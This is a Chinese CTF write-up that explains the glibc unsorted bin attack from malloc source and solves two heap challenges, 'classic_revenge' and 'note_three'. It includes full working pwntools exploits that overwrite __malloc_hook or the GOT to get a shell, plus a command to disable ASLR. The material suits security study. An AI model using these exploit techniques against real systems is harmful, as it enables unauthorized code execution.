unsorted bin attack
作为一种久远的攻击方式常常作为其他攻击方式的辅助手段,比如修改global_max_fast
为一个较大的值使得几乎所有大小的chunk都用fast bin
的管理方式进行分配和释放,又或者修改_IO_list_all
来伪造_IO_FILE
进行攻击。在上述攻击的利用过程中我们实际上并不需要对unsorted bin
的分配过程有太多的了解。最近复现以前比赛未能完成的题目做到了pwnhub 2019万圣节公开赛
的classic_revenge
,其中非常巧妙地利用了unsorted bin attack
。联想去年黄鹤杯
的一道题目,决定总结一下unsorted bin attack
中容易被忽略的部分。
unsorted bin
也是以链表的方式进行组织的,和fast bin
不同的是其分配方式是FIFO
,即一个chunk放入unsorted bin
链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此unsorted bin
遍历堆块的时候使用的是bk
指针。
从下面源码可以看出首先取链表尾部的chunk记作victim
,倒数第二个chunk记作bck
,首先要对victim
的size
位进行检查,这个约束比较宽松,计算得到chunk实际大小。一个代码块是假如我们申请的chunk属于small bin
的范围,且last remainder
是unsorted bin
的唯一一个chunk时,我们优先使用这个块,如果该块满足条件则对其进行切割和解链操作。
如果上述条件不满足,则将victim
从链中取出之后放到合适的链中或返回给用户。其中unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);
是unsorted bin attack
产生的原因,一旦我们绕过之前的检查到达这里,在可以控制victim->bk
即bck
的情况下我们可以往bck->fd
写入unsorted_chunks(av)
即*(bck+0x10)=unsorted(av)
。
继续走,下面一个代码块是指如果我们请求的nb
同victim
的大小恰好吻合,就直接返回这个块给用户。
如果之前的条件都不满足,意味着目前的victim
不能满足用户的需求,需要根据其size
放入small bin
或large bin
的链,其中在后者实现中存在large bin attack
,由于同本文无关就不再进一步展开,最后是unlink
将victim
彻底解链。
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; //size check if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ //last remainder first if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //cut and put the remained part back to unsorted list unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); //return to user return p; } /* remove from unsorted list */ //unsorted bin attack unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }
这道题目在比赛的时候最先放出的附件有些问题,可以leak出栈地址,进而产生非预期解,更新附件之后再无新解,在review的时候我也受分配次数限制所恼,但又想学习作者提到的新的攻击方式,因此手动patch
了分配的次数上限,然后就可以愉快的分配/释放了,原题是限制在10
次以内完成攻击,有复现成功的大佬可以留言让俺学习一下。
checkseck可以看到程序开启了所有常见保护。
程序有三个功能,分别是Add
、Delete
和Show
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { char choice; // [rsp+3h] [rbp-3Dh] int size; // [rsp+4h] [rbp-3Ch] void *buf; // [rsp+8h] [rbp-38h] char s; // [rsp+10h] [rbp-30h] unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); Init(); memset(&s, 0, 0x10uLL); write(1, "welcome to ziiiro's classical heap quiz\n", 0x28uLL); while ( 1 ) { while ( 1 ) { read(0, &choice, 1uLL); if ( choice != 2 ) break; Free(); } if ( choice == 3 ) // show { if ( !dword_202040 ) { dword_202040 = 1; get_input1((__int64)&s, 0x10); buf = xxtea((__int64)&s, 0x10LL, (__int64 *)key, (__int64)&size); write(1, buf, size); } } else if ( choice == 1 ) { Add(0LL, (__int64)&choice); } } }
Add
可以分配[0,0xff]
大小的chunk,并自动分配一个0x10
大小的node
,node
的前八字节用户可写,后八字节存储chunk
地址(这里原题分配次数0x55->9)
__int64 __fastcall Add(__int64 a1, __int64 a2) { __int64 result; // rax int count; // [rsp+0h] [rbp-10h] int size; // [rsp+4h] [rbp-Ch] void *chunk_addr; // [rsp+8h] [rbp-8h] void *chunk_addr2; // [rsp+8h] [rbp-8h] result = (unsigned int)dword_20203C; if ( dword_20203C <= 0x55 ) { count = dword_20203C; chunk_addr = malloc(0x10uLL); if ( !chunk_addr ) err(); qword_202060[count] = chunk_addr; read(0, (void *)qword_202060[count], 8uLL); size = read_int(); if ( size <= 0 || size > 0xFF ) err(); chunk_addr2 = malloc(size); if ( !chunk_addr2 ) err(); *(_QWORD *)(qword_202060[count] + 8LL) = chunk_addr2; read(0, *(void **)(qword_202060[count] + 8LL), size); result = (unsigned int)(dword_20203C++ + 1); } return result; }
Delete
函数有double free
,只会释放chunk
且不清空bss上的node
地址。
void Free() { int idx; // [rsp+Ch] [rbp-4h] idx = read_int(); if ( idx >= 0 && idx <= 85 ) { if ( qword_202060[idx] ) free(*(void **)(qword_202060[idx] + 8LL)); } }
Show
函数将输入用xxtea
加密后输出,逆向可以看到密钥就放在bss
上,注意这里在处理数据的时候用了一次memcpy
拷贝了28
字节的数据进行加密,而我们输入的长度为0x10
,这里会多泄露出一些栈上的数据,gdb调试可以看到是程序加载基址相关的一个地址,因此我们可以计算得到程序加载基址。
_DWORD *__fastcall HandleData(const void *stack_addr, size_t input_sz, int One, size_t *stack_addr2) { signed __int64 v4; // rax size_t v6; // rax size_t *stack_addr2_1; // [rsp+0h] [rbp-30h] size_t n; // [rsp+10h] [rbp-20h] _DWORD *dest; // [rsp+20h] [rbp-10h] size_t nmemb; // [rsp+28h] [rbp-8h] size_t nmemba; // [rsp+28h] [rbp-8h] stack_addr2_1 = stack_addr2; if ( One ) { n = input_sz | 8; // 0x18 if ( ((unsigned __int8)input_sz | 8) & 3 ) v4 = (n >> 2) + 1; else v4 = n >> 2; nmemb = v4; // 6 dest = calloc(v4 + 1, 4uLL); // 7 * 4 if ( !dest ) return 0LL; dest[nmemb] = n; // 最后一个位置放sz *stack_addr2_1 = nmemb + 1; // 7 memcpy(dest, stack_addr, n); // 越界拷贝28 } else { if ( input_sz & 3 ) v6 = (input_sz >> 2) + 1; else v6 = input_sz >> 2; // 4 nmemba = v6; dest = calloc(v6, 4uLL); // 4*4 if ( !dest ) return 0LL; *stack_addr2_1 = nmemba; // 4 memcpy(dest, stack_addr, input_sz); // copy 0x10 key } return dest; } /* 0000000000001538 6D global_key db 6Dh ; m ; DATA XREF: .data:key↓o .rodata:0000000000001539 CC db 0CCh .rodata:000000000000153A 54 db 54h ; T .rodata:000000000000153B 68 db 68h ; h .rodata:000000000000153C 0E db 0Eh .rodata:000000000000153D 7D db 7Dh ; } .rodata:000000000000153E BB db 0BBh .rodata:000000000000153F A4 db 0A4h .rodata:0000000000001540 8F db 8Fh .rodata:0000000000001541 8F db 8Fh .rodata:0000000000001542 0B db 0Bh .rodata:0000000000001543 66 db 66h ; f .rodata:0000000000001544 A5 db 0A5h .rodata:0000000000001545 29 db 29h ; ) .rodata:0000000000001546 48 db 48h ; H .rodata:0000000000001547 71 db 71h ; q */
首先提一下非预期,泄露出栈地址之后可以用fast bin attack
劫持堆块到栈上,劫持的地址选择read
函数的返回地址所在栈地址前的某个包含0x7f
数据的地方,进而可以修改read
函数返回地址部分写到write(1/16)
,泄露出程序加载基址(原附件没有给程序基址),再往后可以用相同方式劫持这个返回地址,用rop泄露出libc
基址,修改bss上的Add限制次数
,最后fast bin attack
改__malloc_hook
为one_gadget
,详情可以参见v1ct0r->万圣节Pwnhub一道题
预期的解法是House of Roman
,这种攻击方式一般是存在UAF
而无法泄露libc
地址时使用的,其攻击原理及示例可以参见House of Roman。我简单概括一下这种攻击手段的一般思路。
unsorted bin
ub,使用堆溢出或者off-by-one修改其size为0x71
ub
将其链入fastbin[0x70]
UAF
部分写ub->fd
为__malloc_hook-0x23(fake_chunk)
__malloc_hook-0x23
__malloc_hook
为main_arena+88
Edit __malloc_hook(partial overwrite)
为one_gadget
这种攻击方式需要爆破12bit
,在无法泄露libc的时候以此来绕过ALSR
。
然而仔细研究House of Roman
可以发现我们需要有一个Edit
功能,用以在unsorted bin attack
之后部分写__malloc_hook
,这个功能本题并未实现,然而我们是有办法在unsorted bin attack
之后得到—__malloc_hook
并直接部分写的。
再仔细观察一下源码会发现unsorted bin
遍历是一个循环,在我们第一轮找到的victim
大小不合适时会继续依循bk
指针向后寻找的,我们将第一个unsorted bin
的bk
改为__malloc_hook-0x10
,再在__malloc_hook-8
处布置一个size,这个size正为用户所求,则在第一轮的初步解链过程中会触发unsorted bin attack
改(__malloc_hook-0x10)->fd
为main_arene+88
,因此时第一个victim
的size不满足要求,会找到__malloc_hook-0x10
这个伪造的chunk,如果其size位满足要求,则直接返回给用户,故我们可以得到__malloc_hook
。
此外,在第二轮将这个chunk返回给用户前同样有一个往(__malloc_hook-0x10)->bck
的0x10偏移处写值的操作,因此我们要在__malloc_hook+8
处布置一个可写地址
,由于之前我们泄露得到了程序加载地址,这里填个bss地址即可。
最后,整理一下完整的攻击链(下面有几个关键步骤的调试截图供大家对比(关闭地址随机化echo 0 > /proc/sys/kernel/randomize_va_space
)):
0x10
的块并释放,这样之后分配node
都是走之前的fast bin,不会影响后面的chunk布局
0x30
大小的chunk的size为0x141
,构造overlapping chunk
unsorted bin
,记作ub,通过2中的这个块释放又分配可以把ub
的size改为0x71
,fd部分写为__malloc_hook-0x23
double free
两个大小为0x70
的块,部分写fd为ub
__malloc_hook-0x23
,改__malloc_hook-8
为0xa1
,改__malloc_hook+8
为.bss
;第三次分配中我们可以根据堆块错位改unsorted bin
的bk
为_malloc_hook-0x10
0xa0
的块,此时unsorted bin
的大小为0x90
不满足要求而我们__mlaooc_hook-8
的size
为0xa1,故返回__malloc_hook
进而可以部分写为one_gadget
#coding=utf-8 from pwn import * import commands import base64 r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./classic_revenge') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./classic_revenge') else: libc = ELF('./x64_libc.so.6') p = remote('f.buuoj.cn',20173) def decrypt(v,n,key): DELTA = 0x9E3779B9 n = n-1 z = v[n] y = v[0] q = 6 + 52 // (n + 1) sum1 = (q * DELTA) & 0xffffffff while (sum1 != 0): e = sum1 >> 2 & 3 for p in xrange(n, 0, -1): z = v[p - 1] v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff y = v[p] z = v[n] v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff y = v[0] sum1 = (sum1 - DELTA) & 0xffffffff return v def Add(size,content,name=p64(0x21)): sleep(0.01) p.send('\x01') sleep(0.01) p.send(name) sleep(0.01) p.sendline(str(size)) sleep(0.01) p.send(content) def Show(content): sleep(0.01) p.send('\x03') sleep(0.01) p.send(content) def Delete(index): sleep(0.01) p.send('\x02') sleep(0.01) p.sendline(str(index)) def Dec(enc,size): rounds = 6 + 52 / n DELTA = 0x9E3779B9 sum1 = (rounds*DELTA) & 0xffffffff y = enc[0] & 0xffffffff while(rounds>0): e = (sum1 >> 2) & 3 for i in xrange(n,0,-1): z = enc[i-1] & 0xffffffff enc[i] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum1^y) + (key[(i&3)^e] ^ z))); enc[i] &= 0xffffffff y = enc[i] z = enc[n-1] & 0xffffffff enc[0] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum1^y) + (key[(i&3)^e] ^ z))) enc[0] &= 0xffffffff y = enc[0] sum1 -= DELTA sum1 &= 0xffffffff rounds -= 1 return enc def exp(): #leak libc p.recvuntil("welcome to ziiiro's classical heap quiz\n") v = list() Show('a'*0x20) for i in range(7): v.append(u32(p.recvn(4))) k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5] n = 0x7 h = decrypt(v,n,k) addr = h[4]+(h[5]<<32) print hex(addr) code_base = addr - 0x14b0 log.success("code base => " + hex(code_base)) #fastbin for __malloc_hook for i in range(0x18): Add(0x10,'0') for i in range(0x18): Delete(i) #start from 24 Add(0x38,p64(0x31)*7)#24 Add(0x28,p64(0x21)*5)#25->change to 0x141 Add(0x28,p64(0x31)*5)#26 Add(0x28,p64(0x31)*5)#27 Add(0x88,p64(0x21)*17)#28 Add(0x68,p64(0x21)*17)#29 Add(0x68,p64(0x21)*13)#30 Add(0x28,p64(0x31)*5)#31 Add(0xc0,p64(0x31)*24)#32 Delete(27) Delete(26) Delete(27) Add(0x28,'\xb0')#33 Add(0x28,'16')#34 Add(0x28,'17')#35 Add(0x28,p64(0)+p64(0x141))#36 Delete(28) Delete(25) Add(0xa0,p64(0x21)*16+p64(0)+p64(0x71)+'\xed\x1a')#37 Delete(30) Delete(29) Delete(30) Add(0x68,'\x50')#38 Add(0x88,'\xed\x1a') Add(0x68,p64(0x21)*2+p64(0x90)+p64(0x20)+p64(0x21)*9) Add(0x68,p64(0x21)*2+p64(0x90)+p64(0x20)+p64(0x21)*9) Add(0x68,p64(0x21)*2+p64(0)+p64(0x91)+p64(0)+'\x00') Add(0x68,'\x00'*(0x13-8)+p64(0xa1)+p64(0)+p64(code_base+0x202000)) #Add(0x98,'\x16\22\xa5') Add(0x98,'\xa4\xd2\xaf') gdb.attach(p) Delete(0) Delete(0) #unsorted bin attack p.interactive() exp()
这个比赛是去年的,跟着e3pem
学长学到了更有趣的unsorted bin attack
的利用。
程序没开PIE
,且为Partial RELRO
,依然是glibc 2.23
下的利用。
程序只有两个功能,new
和edit
,其中new
可以分配[0,0x90]
大小的chunk
。
new
函数读取用户输入到byte_6020C0
,使用strdup
来分配堆块,在byte_6020C0+0x100
之后的空间存储chunk_addr
及size
。这里分配大小是由输入的长度决定的,而不是开始输入的size
,因此在Edit
里存在堆溢出。
int new() { int result; // eax int v1; // [rsp+8h] [rbp-8h] int v2; // [rsp+Ch] [rbp-4h] result = read_int(); v1 = result; if ( result != -1 ) { printf("size: "); result = input_number(); v2 = result; if ( result >= 0 && result <= 0x90 ) { *(_QWORD *)&byte_6020C0[16 * v1 + 0x100] = MyMalloc(result); result = v2; *(_QWORD *)&byte_6020C0[16 * v1 + 0x108] = v2; } } return result; } __int64 edit() { __int64 result; // rax int v1; // [rsp+Ch] [rbp-4h] result = read_int(); // idx没有检查 v1 = result; if ( (_DWORD)result != -1 ) { result = *(_QWORD *)&byte_6020C0[16 * (signed int)result + 0x100]; if ( result ) { printf("content: "); result = get_input(*(void **)&byte_6020C0[16 * v1 + 0x100], *(_QWORD *)&byte_6020C0[16 * v1 + 0x108]); } } return result; } char *__fastcall MyMalloc(unsigned int size) { memset(byte_6020C0, 0, 0x100uLL); printf("content: ", 0LL); get_input(byte_6020C0, size); return strdup(byte_6020C0); }
看到这里会发现这道题目和Hitcon CTF
的那道经典的House-of-orange
差不多,但是由于没有了Show
函数,我们无法用那种文件伪造的方式一把梭。这里就要借助unsorted bin attack
了,我们前面可以按照HOF
的思路改掉top_chunk
的size
,借助多次分配让其掉入unsorted bin
,之后堆溢出就可以修改unsorted bin->bk
实现攻击了,然而这个攻击方式只不过是写一个libc
地址到一个位置罢了emm,但是各位需要注意的是我们写的这个地址是main_arena+88
,这个地址在main_arena
里代表的是top_chunk
。如果我们能往bss的heap_list
上写上这个地址,之后就可以通过Edit
劫持top_chunk
到got表
,进而可以修改got表的内容。
需要注意的是我们仍需要绕过检查,其中很重要的检查就是在之前题目提到的bck
需要是一个可写的地址
。这点很容易做到,我们的输入首先会放在bss上,完全可以通过输入伪造fake_chunk
及其bk
对应的堆块。
故最终的利用思路是将main_arena+88
改为atoi@got-0x10
,即top_chunk
被改为此处,分配到aoti之后Edit改成printf,用%p泄露libc地址,再修改atoi到system拿shell。
#coding=utf-8 from pwn import * context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./note_three') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./note_three') else: libc = ELF('./libc-2.23.so') def New(idx,size,content): p.recvuntil('choice>> ') p.sendline('1') p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("size: ") p.sendline(str(size)) p.recvuntil("content: ") p.send(content) def Edit(idx,content): p.recvuntil('choice>> ') p.sendline('2') p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("content: ") p.send(content) def exp(): #leak libc #gdb.attach(p,'b* 0x400a97') for i in range(23): New(0,0x88,"0"*0x88) New(0,0x88,"0")#0 New(1,0x88,"1"*0x80)#1 0x90 New(2,0x88,'a'*0x30)#2 Edit(2,'a'*0x30+p64(0)+p64(0xb1)) New(0,0x90,"0"*0x90) #ub New(0,0x88,"a")#0 heap_lis = 0x6020c0+0x100 Edit(0,"a"*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_lis-0x10)) New(1,0x68,'a'*0x60) #fake top Edit(0,p64(0x602048)+p64(0)+p64(0x6020c0+0x70)*2) gdb.attach(p) New(2,0x90,'a'*0x78+p64(0x91)+p64(0x6021b0)*2) atoi_got = elf.got['atoi'] payload = 'a'*0x80+p64(0x6021c0)+p64(0x100) Edit(2,payload) printf_plt = elf.plt['printf'] #New(1,0x78,"a"*0x78) Edit(0,p64(atoi_got)+p64(0x100)+p64(atoi_got)) Edit(1,p64(printf_plt)) #gdb.attach(p) #leak p.recvuntil("choice>> ") p.sendline("%19$p") p.recvuntil("0x") libc_base = int(p.recvline().strip("\n"),16) - 240 - libc.sym["__libc_start_main"] log.success("libc base => " + hex(libc_base)) #get shell p.recvuntil("choice>> ") p.sendline("1") p.recvuntil("idx:") p.sendline() p.recvuntil("content: ") p.sendline(p64(libc_base+libc.sym["system"])) p.recvuntil("choice>> ") p.sendline("/bin/sh\x00") p.interactive() exp()
unsorted bin attack
不仅仅是起到将一个地址写入一个libc地址的目的,在修改_IO_list_all
时,我们可以根据成员变量推断出伪造的文件结构体的_chain
为small bin[0x60]
进而伪造vtable
;在构造得当时,即使没有UAF
也可以实现House-of-Roman
;在能够编辑的情况下劫持top_chunk
控制堆块分配也是一种新奇的利用方式。